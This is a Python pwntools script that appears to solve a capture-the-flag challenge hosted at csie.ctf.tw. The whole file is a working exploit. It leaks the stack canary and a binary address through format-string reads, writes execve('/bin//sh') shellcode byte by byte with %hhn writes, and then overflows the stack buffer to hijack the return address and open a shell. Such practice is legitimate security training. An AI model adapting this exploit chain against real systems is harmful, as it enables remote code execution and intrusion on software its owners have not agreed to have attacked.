from pwn import *
r = remote('csie.ctf.tw', 10122)
r.recvuntil('>')
r.send('1\n')
r.send('%23$p\n')
r.recvuntil('>')
r.send('2\n')
r.recvuntil('Name:')
canary = int(r.recvline()[:-20], 16)
r.recvuntil('>')
r.send('1\n')
r.send('%24$p\n')
r.recvuntil('>')
r.send('2\n')
r.recvuntil('Name:')
name = int(r.recvline()[:-20], 16) - 0xd40 + 0x202020
sh = '\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05'
for i in range(0, len(sh)):
    r.recvuntil('>')
    r.send('3\n')
    r.recvuntil('Your data:')
    r.send(p64(name + 16 +i) + '\n')
    r.recvuntil('>')
    r.send('1\n')
    r.recvuntil('Your name:')
    r.send('%'+str(ord(sh[i]))+'c'+'%6$hhn\n')
    r.recvuntil('>')
    r.send('2\n')
r.recvuntil('>')
r.send('1\n')
r.recvuntil('Your name:')
r.send('\x90'*16 + '\n')   # NOP sled
r.recvuntil('>')
r.send('3\n')
r.recvuntil('Your data:')
r.send("A"*136+ p64(canary) +"A"*8 + p64(name) + '\n')
r.interactive()
